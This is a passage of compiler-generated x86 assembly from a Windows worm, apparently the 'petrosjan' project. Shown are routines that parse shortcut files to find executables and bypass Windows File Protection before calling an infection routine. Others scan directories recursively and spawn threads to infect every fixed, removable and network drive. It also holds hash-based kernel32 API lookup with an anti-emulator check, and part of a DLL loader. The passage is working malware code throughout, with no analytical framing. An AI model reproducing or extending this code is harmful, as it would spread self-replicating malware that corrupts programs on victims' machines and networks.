	leal	-73988(%ebp),%eax
	pushl	%eax
	call	_my_strcpy
	addl	$8,%esp
	.line	98
	leal	-73988(%ebp),%ecx
	orl	$-1,%eax
_$strlen5:
	inc	%eax
	cmpb	$0,(%ecx,%eax)
	jnz	_$strlen5
	movl	%eax,%ebx
	subl	$1,%ebx
	movb	$0,-73988(%ebp,%ebx)
	.line	101
	pushl	$0
	pushl	$0
	pushl	$3
	pushl	$0
	pushl	$0
	pushl	$0x80000001
	leal	-73988(%ebp),%eax
	pushl	%eax
	call	*__CreateFile
	movl	%eax,%edi
	.line	102
	cmpl	$0xffffffff,%edi
	je	_$988
_$989:
	.line	105
	pushl	$0
	leal	-73996(%ebp),%eax
	pushl	%eax
	pushl	$8191
	leal	-8191(%ebp),%eax
	pushl	%eax
	pushl	%edi
	call	*__ReadFile
	movl	%eax,%esi
	.line	106
	pushl	%edi
	call	*__CloseHandle
	.line	107
	or	%esi,%esi
	je	_$988
_$991:
	.line	109
	cmpb	$76,-8191(%ebp)
	jne	_$988
_$993:
	.line	111
	movzbl	-8115(%ebp),%ebx
	movzbl	-8114(%ebp),%edx
	movl	%dx,%si
	movzwl	%si,%esi
	sall	$8,%esi
	orl	%esi,%ebx
	movl	%bx,%si
	movw	%si,-73990(%ebp)
	.line	112
	movzwl	-73990(%ebp),%eax
	addl	$78,%eax
	movw	%ax,-73728(%ebp)
	.line	114
	movzwl	-73728(%ebp),%eax
	cmpb	$0,-8191(%ebp,%eax)
	je	_$988
_$997:
	.line	115
	movzwl	-73728(%ebp),%eax
	cmpb	$1,-8183(%ebp,%eax)
	jne	_$988
_$999:
	.line	117
	movzwl	-73728(%ebp),%eax
	movzbl	-8175(%ebp,%eax),%edx
	movzbl	-8174(%ebp,%eax),%ebx
	movl	%bx,%si
	movzwl	%si,%esi
	sall	$8,%esi
	movl	%edx,%ebx
	orl	%esi,%ebx
	movl	%bx,%si
	movzwl	%si,%esi
	movl	%eax,%ebx
	addl	%esi,%ebx
	movl	%bx,%si
	movw	%si,-73992(%ebp)
	.line	119
	movzwl	-73992(%ebp),%eax
	leal	-8191(%ebp,%eax),%eax
	pushl	%eax
	leal	-73726(%ebp),%eax
	pushl	%eax
	call	_my_strcpy
	addl	$8,%esp
	.line	120
	leal	-73726(%ebp),%ecx
	orl	$-1,%eax
_$strlen6:
	inc	%eax
	cmpb	$0,(%ecx,%eax)
	jnz	_$strlen6
	movl	%eax,%edi
	.line	122
	movl	%edi,%eax
	subl	$4,%eax
	cmpb	$46,-73726(%ebp,%eax)
	jne	_$1008
	movl	%edi,%eax
	subl	$3,%eax
	movsbl	-73726(%ebp,%eax),%eax
	pushl	%eax
	call	*___toupper
	addl	$4,%esp
	cmpl	$69,%eax
	jne	_$1008
	movl	%edi,%esi
	subl	$2,%esi
	movsbl	-73726(%ebp,%esi),%ebx
	pushl	%ebx
	call	*___toupper
	addl	$4,%esp
	cmpl	$88,%eax
	jne	_$1008
	movl	%edi,%esi
	subl	$1,%esi
	movsbl	-73726(%ebp,%esi),%ebx
	pushl	%ebx
	call	*___toupper
	addl	$4,%esp
	cmpl	$69,%eax
	je	_$1004
_$1008:
	.line	123
	jmp	_$988
_$1004:
	.line	129
	pushl	$_$971
	leal	-73726(%ebp),%eax
	pushl	%eax
	call	*__strcat
	.line	130
	pushl	$1
	pushl	$0
	leal	-73726(%ebp),%eax
	pushl	%eax
	call	_ProcessEXE
	addl	$20,%esp
_$988:
	.line	131
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$1018:
	.size	_ProcessLNK,_$1018-_ProcessLNK
	.globl	_ProcessLNK
; q --> %edi
; ires --> %esi
; st --> %ebx
	.type	_ProcessEXE,function
_ProcessEXE:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$800,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	138
	movl	8(%ebp),%ebx
	.line	145
	pushl	%ebx
	leal	-790(%ebp),%eax
	pushl	%eax
	call	_my_strcpy
	addl	$8,%esp
	.line	146
	cmpl	$1,16(%ebp)
	jne	_$1020
	leal	-790(%ebp),%ecx
	orl	$-1,%eax
_$strlen7:
	inc	%eax
	cmpb	$0,(%ecx,%eax)
	jnz	_$strlen7
	movl	%eax,%edx
	subl	$1,%edx
	movb	$0,-790(%ebp,%edx)
_$1020:
	.line	152
	movb	_VIRULENCE,%al
	cmpb	$100,%al
	jbe	_$1022
	cmpl	$1,16(%ebp)
	jne	_$1022
	.line	154
	xor	%esi,%esi
	.line	155
	pushl	$1
	pushl	$_$1026
	pushl	%ebx
	call	_serstr
	addl	$12,%esp
	cmpl	$65535,%eax
	je	_$1024
	xor	%esi,%esi
	inc	%esi
_$1024:
	.line	156
	pushl	$1
	pushl	$_$1029
	pushl	%ebx
	call	_serstr
	addl	$12,%esp
	cmpl	$65535,%eax
	je	_$1027
	xor	%esi,%esi
	inc	%esi
_$1027:
	.line	157
	pushl	$1
	pushl	$_$1032
	pushl	%ebx
	call	_serstr
	addl	$12,%esp
	cmpl	$65535,%eax
	je	_$1030
	xor	%esi,%esi
	inc	%esi
_$1030:
	.line	158
	pushl	$1
	pushl	$_$1035
	pushl	%ebx
	call	_serstr
	addl	$12,%esp
	cmpl	$65535,%eax
	je	_$1033
	xor	%esi,%esi
	inc	%esi
_$1033:
	.line	159
	pushl	$1
	pushl	$_$1038
	pushl	%ebx
	call	_serstr
	addl	$12,%esp
	cmpl	$65535,%eax
	je	_$1036
	xor	%esi,%esi
	inc	%esi
_$1036:
	.line	160
	pushl	$1
	pushl	$_$1041
	pushl	%ebx
	call	_serstr
	addl	$12,%esp
	cmpl	$65535,%eax
	je	_$1039
	xor	%esi,%esi
	inc	%esi
_$1039:
	.line	166
	or	%esi,%esi
	jne	_$1022
	.line	167
	xor	%eax,%eax
	jmp	_$1019
	.line	168
_$1022:
	.line	171
	pushl	12(%ebp)
	call	*___sleep
	popl	%ecx
	.line	174
	cmpl	$5,_MAJORW
	ja 	_$1046
_$1044:
	.line	183
	xor	%edi,%edi
_$1047:
	.line	185
	movl	%edi,%edx
	shll	$1,%edx
	movl	%edx,-800(%ebp)
	.line	187
	movl	%edx,%eax
	movb	-790(%ebp,%edi),%dl
	movb	%dl,-530(%ebp,%eax)
	.line	188
	movl	-800(%ebp),%eax
	incl	%eax
	movb	$0,-530(%ebp,%eax)
	.line	190
	cmpb	$0,-790(%ebp,%edi)
	jne	_$1051
	.line	192
	movl	-800(%ebp),%eax
	addl	$2,%eax
	movb	$0,-530(%ebp,%eax)
	.line	193
	movl	-800(%ebp),%eax
	addl	$3,%eax
	movb	$0,-530(%ebp,%eax)
	.line	194
	jmp	_$1049
_$1051:
	.line	196
	.line	183
	incl	%edi
	jmp	_$1047
_$1049:
	.line	200
	cmpl	$0,__SFC
	je	_$1046
_$1053:
	.line	204
	leal	-530(%ebp),%eax
	pushl	%eax
	pushl	$0
	call	*__SfcIsFileProtected
	movl	%eax,-796(%ebp)
	.line	206
	test	%eax,%eax
	je	_$1046
_$1055:
	.line	214
	cmpl	$0,__SFC_OS
	je	_$1061
	.line	222
	pushl	$0xffffffff
	leal	-530(%ebp),%eax
	pushl	%eax
	pushl	$0
	call	*__SfcFileException
	movl	%eax,-800(%ebp)
	.line	228
	test	%eax,%eax
	je	_$1046
	xor	%esi,%esi
	jmp	_$1061
	.line	229
	.line	234
_$1046:
	.line	236
	leal	-790(%ebp),%eax
	pushl	%eax
	call	_InfectPE
	popl	%ecx
	movl	%eax,%esi
_$1061:
	.line	245
	movl	%esi,%eax
_$1019:
	.line	246
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$1072:
	.size	_ProcessEXE,_$1072-_ProcessEXE
	.globl	_ProcessEXE
; bl --> %edi
; i --> %esi
; st --> %ebx
	.type	_rscan,function
_rscan:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$604,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	251
	movl	8(%ebp),%ebx
	.line	258
	xor	%edi,%edi
	inc	%edi
	.line	261
	cmpl	$0,16(%ebp)
	je	_$1074
	andl	$0,-584(%ebp)
	jmp	_$1076
_$1074:
	.line	263
	movl	12(%ebp),%edx
	cmpl	$0,_drvl(,%edx,4)
	jne	_$1077
	.line	268
	pushl	%esi
	call	*__FindClose
	.line	269
	pushl	$1
	call	*__ExitThread
_$1077:
	.line	272
	movl	$100,-584(%ebp)
	.line	274
	pushl	12(%ebp)
	pushl	$_$1079
	leal	-598(%ebp),%eax
	pushl	%eax
	call	*__sprintf
	addl	$12,%esp
	.line	275
	leal	-598(%ebp),%eax
	pushl	%eax
	call	*__GetDriveType
	cmpl	$3,%eax
	jne	_$1080
	movl	$300,-584(%ebp)
_$1080:
	.line	277
	movzbl	_VIRULENCE,%eax
	cmpb	$100,%al
	jbe	_$1076
	movl	$30,-584(%ebp)
	.line	279
_$1076:
	.line	281
	xor	%edi,%edi
	inc	%edi
	.line	283
	pushl	%ebx
	pushl	$_$1084
	leal	-578(%ebp),%eax
	pushl	%eax
	call	*__sprintf
	addl	$12,%esp
	.line	284
	movl	%ebx,%ecx
	orl	$-1,%eax
_$strlen8:
	inc	%eax
	cmpb	$0,(%ecx,%eax)
	jnz	_$strlen8
	movl	%eax,-588(%ebp)
	.line	290
	movl	-588(%ebp),%eax
	subl	$5,%eax
	cmpb	$46,(%ebx,%eax)
	jne	_$1085
	.line	292
	movl	-588(%ebp),%eax
	subl	$4,%eax
	movsbl	(%ebx,%eax),%eax
	pushl	%eax
	call	*___toupper
	addl	$4,%esp
	movl	%ax,%dx
	movb	%dl,-599(%ebp)
	.line	293
	movl	-588(%ebp),%eax
	subl	$3,%eax
	movsbl	(%ebx,%eax),%eax
	pushl	%eax
	call	*___toupper
	addl	$4,%esp
	movl	%ax,%dx
	movb	%dl,-600(%ebp)
	.line	294
	movl	-588(%ebp),%eax
	subl	$2,%eax
	movsbl	(%ebx,%eax),%eax
	pushl	%eax
	call	*___toupper
	addl	$4,%esp
	movl	%ax,%dx
	movb	%dl,-601(%ebp)
	.line	296
	cmpb	$76,-599(%ebp)
	jne	_$1087
	cmpb	$78,-600(%ebp)
	jne	_$1087
	cmpb	$75,-601(%ebp)
	jne	_$1087
	pushl	%ebx
	call	_ProcessLNK
	addl	$4,%esp
_$1087:
	.line	297
	cmpb	$69,-599(%ebp)
	jne	_$1085
	cmpb	$88,-600(%ebp)
	jne	_$1085
	cmpb	$69,-601(%ebp)
	jne	_$1085
	pushl	$1
	pushl	-584(%ebp)
	pushl	%ebx
	call	_ProcessEXE
	addl	$12,%esp
	.line	298
_$1085:
	.line	300
	leal	-318(%ebp),%eax
	pushl	%eax
	leal	-578(%ebp),%eax
	pushl	%eax
	call	*__FindFirstFile
	movl	%eax,%esi
	.line	301
	cmpl	$0xffffffff,%esi
	je	_$1073
_$1091:
	.line	303
	cmpb	$46,-274(%ebp)
	je	_$1099
	leal	-274(%ebp),%eax
	pushl	%eax
	pushl	%ebx
	pushl	$_$1096
	leal	-578(%ebp),%eax
	pushl	%eax
	call	*__sprintf
	pushl	16(%ebp)
	pushl	12(%ebp)
	leal	-578(%ebp),%eax
	pushl	%eax
	call	_rscan
	addl	$28,%esp
	.line	305
	jmp	_$1099
_$1098:
	.line	307
	leal	-318(%ebp),%eax
	pushl	%eax
	pushl	%esi
	call	*__FindNextFile
	movl	%eax,%edi
	.line	308
	or	%edi,%edi
	jne	_$1101
	.line	311
	movl	-584(%ebp),%eax
	addl	_sdelay,%eax
	pushl	%eax
	call	*___sleep
	popl	%ecx
	.line	314
	pushl	%esi
	call	*__FindClose
	.line	315
	jmp	_$1073
_$1101:
	.line	317
	cmpb	$46,-274(%ebp)
	je	_$1099
	.line	318
	leal	-274(%ebp),%eax
	pushl	%eax
	pushl	%ebx
	pushl	$_$1096
	leal	-578(%ebp),%eax
	pushl	%eax
	call	*__sprintf
	pushl	16(%ebp)
	pushl	12(%ebp)
	leal	-578(%ebp),%eax
	pushl	%eax
	call	_rscan
	addl	$28,%esp
	.line	319
_$1099:
	.line	305
	or	%edi,%edi
	jne	_$1098
	.line	321
_$1073:
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$1114:
	.size	_rscan,_$1114-_rscan
	.globl	_rscan
; dr --> %edi
	.type	_InfectDrive@4,function
_InfectDrive@4:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$12,%esp
	pushl	%edi
	.line	326
	movl	8(%ebp),%edi
pushl $_rscanSehHandler
.byte 0x67,0x64,0xFF,0x36,0x00,0x00 
.byte 0x67,0x64,0x89,0x26,0x00,0x00 

	.line	347
	pushl	(,%edi)
	pushl	$_$1079
	leal	-10(%ebp),%eax
	pushl	%eax
	call	*__sprintf
	addl	$12,%esp
_$1116:
	.line	354
	pushl	$0
	pushl	(,%edi)
	leal	-10(%ebp),%eax
	pushl	%eax
	call	_rscan
	.line	355
	pushl	$0
	call	*___sleep
	addl	$16,%esp
	.line	362
	jmp	_$1116
	.line	363
	popl	%edi
	leave
	ret	$4
_$1117:
	.size	_InfectDrive@4,_$1117-_InfectDrive@4
	.globl	_InfectDrive@4
; dr --> %edi
	.type	_InfectAllDrives@4,function
_InfectAllDrives@4:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$40,%esp
	pushl	%esi
	pushl	%edi
	.line	369
	.line	380
	movzbl	_VIRULENCE,%eax
	cmpl	$150,%eax
	jle	_$1119
	xor	%eax,%eax
	jmp	_$1118
_$1119:
	.line	382
	movl	$67,%edi
	jmp	_$1124
_$1121:
	andl	$0,_htrd(,%edi,4)
	incl	%edi
_$1124:
	cmpl	$90,%edi
	jbe	_$1121
	.line	386
_$1125:
	.line	387
	movl	$67,%edi
	jmp	_$1129
_$1126:
	.line	394
	andl	$0,-20(%ebp)
	.line	396
	pushl	%edi
	pushl	$_$1079
	leal	-14(%ebp),%eax
	pushl	%eax
	call	*__sprintf
	.line	397
	pushl	$0
	call	*___sleep
	addl	$16,%esp
	.line	400
	cmpl	$0,_htrd(,%edi,4)
	je	_$1132
_$1130:
	.line	402
	leal	-20(%ebp),%eax
	pushl	%eax
	pushl	_htrd(,%edi,4)
	call	*__GetExitCodeThread
	.line	403
	cmpl	$259,-20(%ebp)
	je	_$1132
_$1133:
	.line	409
	pushl	_htrd(,%edi,4)
	call	*__CloseHandle
	andl	$0,_htrd(,%edi,4)
_$1132:
	.line	413
	leal	-14(%ebp),%eax
	pushl	%eax
	call	*__GetDriveType
	movl	%eax,-4(%ebp)
	.line	415
	cmpl	$3,%eax
	je	_$1135
	cmpl	$4,%eax
	je	_$1135
	cmpl	$2,%eax
	je	_$1135
	.line	417
	cmpl	$0,_htrd(,%edi,4)
	je	_$1127
	.line	418
	andl	$0,_drvl(,%edi,4)
	.line	419
	jmp	_$1127
_$1135:
	.line	422
	pushl	$1
	call	*__SetErrorMode
	.line	426
	leal	-40(%ebp),%eax
	pushl	%eax
	leal	-36(%ebp),%eax
	pushl	%eax
	leal	-32(%ebp),%eax
	pushl	%eax
	leal	-28(%ebp),%eax
	pushl	%eax
	leal	-14(%ebp),%eax
	pushl	%eax
	call	*__GetDiskFreeSpace
	or	%eax,%eax
	jne	_$1139
	.line	428
	cmpl	%eax,_htrd(,%edi,4)
	je	_$1127
	.line	429
	andl	$0,_drvl(,%edi,4)
	.line	430
	jmp	_$1127
_$1139:
	.line	433
	cmpl	$0,_htrd(,%edi,4)
	jne	_$1127
_$1143:
	.line	435
	movzbl	_VIRULENCE,%eax
	cmpb	$50,%al
	jbe	_$1145
	cmpl	$3,-4(%ebp)
	jne	_$1127
_$1145:
	.line	438
	movl	%edi,_drvl(,%edi,4)
	.line	439
	leal	-24(%ebp),%eax
	pushl	%eax
	pushl	$0
	leal	_drvl(,%edi,4),%esi
	pushl	%esi
	pushl	$_InfectDrive@4
	pushl	$0
	pushl	$0
	call	*__CreateThread
	movl	%eax,_htrd(,%edi,4)
_$1127:
	.line	387
	incl	%edi
_$1129:
	cmpl	$90,%edi
	jbe	_$1126
	.line	444
	pushl	$0
	call	*___sleep
	popl	%ecx
	.line	445
	jmp	_$1125
_$1118:
	.line	446
	popl	%edi
	popl	%esi
	leave
	ret	$4
_$1153:
	.size	_InfectAllDrives@4,_$1153-_InfectAllDrives@4
	.globl	_InfectAllDrives@4
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_kernel.c"
_$M154:
	.type	_IsStrKERNEL32,function
_IsStrKERNEL32:
	pushl	%ebp
	movl	%esp,%ebp
	pushl	%ebx
	pushl	%edi
	.line	12
	.line	14
	movl	8(%ebp),%edi
	movsbl	(,%edi),%ebx
	cmpl	$75,%ebx
	je	_$1155
	cmpl	$107,%ebx
	je	_$1155
	movl	$0,%eax
	jmp	_$1154
_$1155:
	.line	15
	movl	8(%ebp),%edi
	movsbl	1(%edi),%ebx
	cmpl	$69,%ebx
	je	_$1157
	cmpl	$101,%ebx
	je	_$1157
	movl	$0,%eax
	jmp	_$1154
_$1157:
	.line	16
	movl	8(%ebp),%edi
	movsbl	2(%edi),%ebx
	cmpl	$82,%ebx
	je	_$1159
	cmpl	$114,%ebx
	je	_$1159
	movl	$0,%eax
	jmp	_$1154
_$1159:
	.line	17
	movl	8(%ebp),%edi
	movsbl	5(%edi),%ebx
	cmpl	$76,%ebx
	je	_$1161
	cmpl	$108,%ebx
	je	_$1161
	movl	$0,%eax
	jmp	_$1154
_$1161:
	.line	18
	movl	8(%ebp),%edi
	cmpb	$51,6(%edi)
	je	_$1163
	movl	$0,%eax
	jmp	_$1154
_$1163:
	.line	21
	movl	$1,%eax
_$1154:
	.line	22
	popl	%edi
	popl	%ebx
	popl	%ebp
	ret
_$1169:
	.size	_IsStrKERNEL32,_$1169-_IsStrKERNEL32
	.globl	_IsStrKERNEL32
	.type	_GetFuncAddr,function
_GetFuncAddr:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$16,%esp
	pushl	%esi
	pushl	%edi
	.line	28
	.line	32
	movl	$0,-4(%ebp)
	.line	33
	movl	8(%ebp),%edi
	movl	%edi,__KERNEL32
	.line	35
	movl	8(%ebp),%edi
	movl	12(%ebp),%esi
	shll	$1,%esi
	addl	%esi,%edi
	movl	16(%ebp),%esi
	addl	36(%esi),%edi
	movl	%edi,-8(%ebp)
	.line	36
	movl	-8(%ebp),%edi
	movzwl	(,%edi),%edi
	movl	%edi,-16(%ebp)
	.line	38
	movl	8(%ebp),%edi
	movl	-16(%ebp),%esi
	shll	$2,%esi
	addl	%esi,%edi
	movl	16(%ebp),%esi
	addl	28(%esi),%edi
	movl	%edi,-12(%ebp)
	.line	39
	movl	8(%ebp),%edi
	movl	-12(%ebp),%esi
	addl	(,%esi),%edi
	movl	%edi,-4(%ebp)
	.line	45
	movl	-4(%ebp),%eax
_$1170:
	.line	46
	popl	%edi
	popl	%esi
	leave
	ret
_$1171:
	.size	_GetFuncAddr,_$1171-_GetFuncAddr
	.globl	_GetFuncAddr
	.type	_CheckFunc,function
_CheckFunc:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$28,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	52
	.line	53
	movl	8(%ebp),%edi
	leal	(,%edi),%ecx
	orl	$-1,%eax
_$strlen9:
	inc	%eax
	cmpb	$0,(%ecx,%eax)
	jnz	_$strlen9
	movl	%eax,-8(%ebp)
	.line	54
	movl	$0,-12(%ebp)
	.line	55
	movl	$0,-16(%ebp)
	.line	58
	movl	$0,-4(%ebp)
	jmp	_$1176
_$1173:
	.line	59
	movl	-4(%ebp),%edi
	movl	8(%ebp),%esi
	movzbl	(%esi,%edi),%ebx
	addl	%ebx,-12(%ebp)
	movl	-4(%ebp),%edi
	shrl	$1,%edi
	movl	8(%ebp),%esi
	movzbl	(%esi,%edi),%ebx
	addl	%ebx,-16(%ebp)
_$1174:
	.line	58
	incl	-4(%ebp)
_$1176:
	movl	-8(%ebp),%edi
	cmpl	%edi,-4(%ebp)
	jb 	_$1173
	.line	61
	cmpl	$41,-8(%ebp)
	jbe	_$1177
	jmp	_$1172
_$1177:
	.line	62
	movl	$0x5f5e100,%eax
	mull	-8(%ebp)
	movl	%eax,-24(%ebp)
	movl	$10000,%eax
	mull	-12(%ebp)
	movl	%eax,-28(%ebp)
	movl	-24(%ebp),%edi
	movl	-28(%ebp),%esi
	addl	-28(%ebp),%edi
	addl	-16(%ebp),%edi
	movl	%edi,-20(%ebp)
	.line	69
	cmpl	$0x5454284e,-20(%ebp)
	jne	_$1179
	pushl	20(%ebp)
	pushl	16(%ebp)
	pushl	12(%ebp)
	call	_GetFuncAddr
	addl	$12,%esp
	movl	%eax,__VirtualProtect
_$1179:
	.line	70
	cmpl	$0x483e47c0,-20(%ebp)
	jne	_$1181
	pushl	20(%ebp)
	pushl	16(%ebp)
	pushl	12(%ebp)
	call	_GetFuncAddr
	addl	$12,%esp
	movl	%eax,__GetTickCount
	call	_GetTicks1
	pushl	$2
	call	_AntiEmulator
	addl	$4,%esp
	movl	%eax,_EMUL
_$1181:
	.line	71
	cmpl	$0x786b35a0,-20(%ebp)
	jne	_$1183
	pushl	20(%ebp)
	pushl	16(%ebp)
	pushl	12(%ebp)
	call	_GetFuncAddr
	addl	$12,%esp
	movl	%eax,__LeaveCriticalSection
_$1183:
	.line	72
	cmpl	$0x786dcdd2,-20(%ebp)
	jne	_$1185
	pushl	20(%ebp)
	pushl	16(%ebp)
	pushl	12(%ebp)
	call	_GetFuncAddr
	addl	$12,%esp
	movl	%eax,__EnterCriticalSection
_$1185:
	.line	73
	cmpl	$0x968c6217,-20(%ebp)
	jne	_$1187
	pushl	20(%ebp)
	pushl	16(%ebp)
	pushl	12(%ebp)
	call	_GetFuncAddr
	addl	$12,%esp
	movl	%eax,__InitializeCriticalSection
_$1187:
	.line	74
	cmpl	$0x54484108,-20(%ebp)
	jne	_$1189
	pushl	20(%ebp)
	pushl	16(%ebp)
	pushl	12(%ebp)
	call	_GetFuncAddr
	addl	$12,%esp
	movl	%eax,__GetProcAddress
_$1189:
	.line	75
	cmpl	$0x483d0f68,-20(%ebp)
	jne	_$1191
	pushl	20(%ebp)
	pushl	16(%ebp)
	pushl	12(%ebp)
	call	_GetFuncAddr
	addl	$12,%esp
	movl	%eax,__CreateThread
_$1191:
	.line	78
_$1172:
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$1204:
	.size	_CheckFunc,_$1204-_CheckFunc
	.globl	_CheckFunc
	.type	_CheckKernel,function
_CheckKernel:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$36,%esp
	pushl	%esi
	pushl	%edi
	.line	84
	.line	94
	movl	8(%ebp),%edi
	shrl	$16,%edi
	movl	%edi,-8(%ebp)
	.line	97
	shll	$16,-8(%ebp)
	.line	109
	leal	-20(%ebp),%edi
	pushl	%edi
	pushl	$4096
	pushl	8(%ebp)
	pushl	-8(%ebp)
	call	_FindPEheader
	addl	$16,%esp
	movl	%eax,-8(%ebp)
	.line	117
	movl	-20(%ebp),%edi
	movl	120(%edi),%edi
	movl	%edi,-24(%ebp)
	.line	119
	movl	-8(%ebp),%edi
	addl	-24(%ebp),%edi
	movl	%edi,-12(%ebp)
	.line	121
	movl	-8(%ebp),%edi
	movl	-12(%ebp),%esi
	addl	12(%esi),%edi
	movl	%edi,-28(%ebp)
	.line	130
	pushl	-28(%ebp)
	call	_IsStrKERNEL32
	addl	$4,%esp
	cmpl	$0,%eax
	jne	_$1206
	jmp	_$1205
_$1206:
	.line	134
	movl	$0,-4(%ebp)
	jmp	_$1211
_$1208:
	.line	138
	movl	-8(%ebp),%edi
	movl	-4(%ebp),%esi
	shll	$2,%esi
	addl	%esi,%edi
	movl	-12(%ebp),%esi
	addl	32(%esi),%edi
	movl	%edi,-16(%ebp)
	.line	139
	movl	-8(%ebp),%edi
	movl	-16(%ebp),%esi
	addl	(,%esi),%edi
	movl	%edi,-36(%ebp)
	.line	145
	pushl	-12(%ebp)
	pushl	-4(%ebp)
	pushl	-8(%ebp)
	pushl	-36(%ebp)
	call	_CheckFunc
	addl	$16,%esp
_$1209:
	.line	134
	incl	-4(%ebp)
_$1211:
	movl	-12(%ebp),%edi
	movl	24(%edi),%edi
	cmpl	%edi,-4(%ebp)
	jb 	_$1208
	.line	149
	movl	__KERNEL32,%eax
	mull	_EMUL
	movl	%eax,-36(%ebp)
	movl	-36(%ebp),%edi
	movl	%edi,__KERNEL32
_$1205:
	.line	150
	popl	%edi
	popl	%esi
	leave
	ret
_$1216:
	.size	_CheckKernel,_$1216-_CheckKernel
	.globl	_CheckKernel
	.type	_ProcessDLLimports,function
_ProcessDLLimports:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$20,%esp
	pushl	%esi
	pushl	%edi
	.line	156
	.line	157
	movl	8(%ebp),%edi
	movl	12(%ebp),%esi
	addl	12(%esi),%edi
	movl	%edi,-4(%ebp)
	.line	159
	movl	$0,_EMUL
	.line	165
	pushl	-4(%ebp)
	call	_IsStrKERNEL32
	addl	$4,%esp
	cmpl	$1,%eax
	jne	_$1218
	.line	168
	movl	$0,-12(%ebp)
	.line	171
	movl	8(%ebp),%edi
	movl	12(%ebp),%esi
	addl	16(%esi),%edi
	movl	%edi,-20(%ebp)
_$1220:
	.line	176
	movl	-20(%ebp),%edi
	addl	-12(%ebp),%edi
	movl	%edi,-16(%ebp)
	.line	177
	movl	-16(%ebp),%edi
	movl	(,%edi),%edi
	movl	%edi,-8(%ebp)
	.line	178
	cmpl	$0,-8(%ebp)
	jne	_$1223
	jmp	_$1222
_$1223:
	.line	179
	pushl	-8(%ebp)
	call	_CheckKernel
	addl	$4,%esp
	.line	180
	cmpl	$0,__KERNEL32
	je	_$1225
	jmp	_$1217
_$1225:
	.line	181
	addl	$4,-12(%ebp)
_$1221:
	.line	174
	jmp	_$1220
_$1222:
	.line	184
_$1218:
	.line	185
_$1217:
	popl	%edi
	popl	%esi
	leave
	ret
_$1228:
	.size	_ProcessDLLimports,_$1228-_ProcessDLLimports
	.globl	_ProcessDLLimports
	.type	_FindPEheader,function
_FindPEheader:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$16,%esp
	pushl	%esi
	pushl	%edi
	.line	192
_$1230:
	.line	201
	movl	8(%ebp),%edi
	movl	%edi,-8(%ebp)
	.line	203
	movl	-8(%ebp),%edi
	cmpw	$23117,(,%edi)
	je	_$1231
	jmp	_$1233
_$1231:
	.line	204
	movl	8(%ebp),%edi
	movl	%edi,%esi
	shrl	$16,%esi
	shll	$16,%esi
	cmpl	%esi,%edi
	je	_$1234
	jmp	_$1233
_$1234:
	.line	212
	movl	8(%ebp),%edi
	addl	$60,%edi
	movl	%edi,-12(%ebp)
	.line	213
	movl	8(%ebp),%edi
	movl	-12(%ebp),%esi
	addl	(,%esi),%edi
	movl	%edi,-4(%ebp)
	.line	215
	movl	12(%ebp),%edi
	cmpl	%edi,-4(%ebp)
	jbe	_$1236
	jmp	_$1233
_$1236:
	.line	217
	movl	-4(%ebp),%edi
	movl	%edi,-16(%ebp)
	.line	219
	movl	-16(%ebp),%edi
	movzwl	(,%edi),%edi
	cmpl	$17744,%edi
	je	_$1240
	.line	221
_$1233:
	.line	225
	movl	16(%ebp),%edi
	subl	%edi,8(%ebp)
	jmp	_$1230
_$1240:
	.line	235
	movl	20(%ebp),%edi
	movl	-4(%ebp),%esi
	movl	%esi,(,%edi)
	.line	237
	movl	8(%ebp),%eax
_$1229:
	.line	238
	popl	%edi
	popl	%esi
	leave
	ret
_$1242:
	.size	_FindPEheader,_$1242-_FindPEheader
	.globl	_FindPEheader
	.file	"e:\projects\progs\petrosjan\bjwj\worm\addons\dllloader.h"
_$M155:
	.file	"e:\projects\progs\petrosjan\bjwj\worm\addons\util.h"
_$M156:
	.file	"e:\projects\progs\petrosjan\bjwj\worm\addons\dllloader.c"
_$M157:
; section --> %edi
; dest --> %esi
; i --> %ebx
	.type	_CopySections,function
_CopySections:
	pushl	%ebp
	movl	%esp,%ebp
	pushl	%ecx
	pushl	%eax
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	21
	.line	23
	movl	16(%ebp),%eax
	movl	4(%eax),%ecx
	movl	%ecx,-4(%ebp)
	.line	26
	movl	(,%eax),%eax
	movzwl	20(%eax),%edx
	leal	24(%eax,%edx),%edi
	.line	28
	xor	%ebx,%ebx
	jmp	_$1248
_$1245:
	.line	30
	cmpl	$0,16(%edi)
	jne	_$1249
	.line	32
	movl	12(%ebp),%eax
	movl	56(%eax),%eax
	movl	%eax,-8(%ebp)
	.line	34
	test	%eax,%eax
	jle	_$1246
	.line	36
	movl	12(%edi),%eax
	movl	%eax,%esi
	addl	-4(%ebp),%esi
	.line	38
	movl	%esi,8(%edi)
	.line	39
	pushl	-8(%ebp)
	pushl	$0
	pushl	%esi
	call	_u_memset
	addl	$12,%esp
	.line	42
	jmp	_$1246
_$1249:
	.line	45
	movl	12(%edi),%eax
	movl	%eax,%esi
	addl	-4(%ebp),%esi
	.line	50
	pushl	16(%edi)
	movl	20(%edi),%eax
	addl	8(%ebp),%eax
	pushl	%eax
	pushl	%esi
	call	_u_memcpy
	addl	$12,%esp
	.line	52
	movl	%esi,8(%edi)
_$1246:
	.line	28
	incl	%ebx
	addl	$40,%edi
_$1248:
	movl	16(%ebp),%eax
	movl	(,%eax),%eax
	movzwl	6(%eax),%eax
	cmpl	%eax,%ebx
	jl	_$1245
	.line	54
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$1254:
	.size	_CopySections,_$1254-_CopySections
	.globl	_CopySections
	.data
	.globl	_ProtectionFlags
	.align	2
	.type	_ProtectionFlags,object
_ProtectionFlags:
	.long	1
	.long	8
	.long	2
	.long	4
	.long	16
	.long	128
	.long	32
	.long	64
	.text
